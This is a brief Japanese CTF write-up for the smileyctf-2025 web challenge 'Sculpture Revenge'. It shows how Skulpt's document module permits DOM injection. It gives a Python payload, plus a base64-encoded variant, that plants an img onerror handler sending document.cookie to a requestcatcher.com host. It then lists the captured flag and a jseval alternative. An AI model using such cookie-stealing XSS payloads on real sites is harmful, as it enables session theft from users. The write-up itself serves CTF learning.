web/Sculpture Revenge
🚩 #smileyctf-2025 #web #xss #2025 144 solves / 50 pts.
skulptでpythonを実行できる
skulpt-stdlib.jsを見るとdocument.jsでdocumentライブラリが実装されている。これを利用すると任意のDOMを編集できる。
code:python
import document
document.getElementById("mycanvas").innerHTML = "<img src=x onerror='fetch(https://dh.requestcatcher.com/flag?${document.cookie})'>"
これをbase64エンコードし、
code:txt
aW1wb3J0IGRvY3VtZW50CmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJteWNhbnZhcyIpLmlubmVySFRNTCA9ICI8aW1nIHNyYz14IG9uZXJyb3I9J2xvY2F0aW9uLmhyZWY9YGh0dHBzOi8vZGgucmVxdWVzdGNhdGNoZXIuY29tL2ZsYWc/JHtkb2N1bWVudC5jb29raWV9YCc+Ig==
botに通報するとフラグ獲得。
.;,;.{we_love_cattle_no_flags_in_dist_trust_we_know_what_we_are_doing_yep}
別解
https://blog.hamayanhamayan.com/entry/2025/06/17/221025#web-Sculpture-Revenge
jsevalという関数を使用すれば任意のJSコードを実行できる。
code:python
jseval("alert(1)")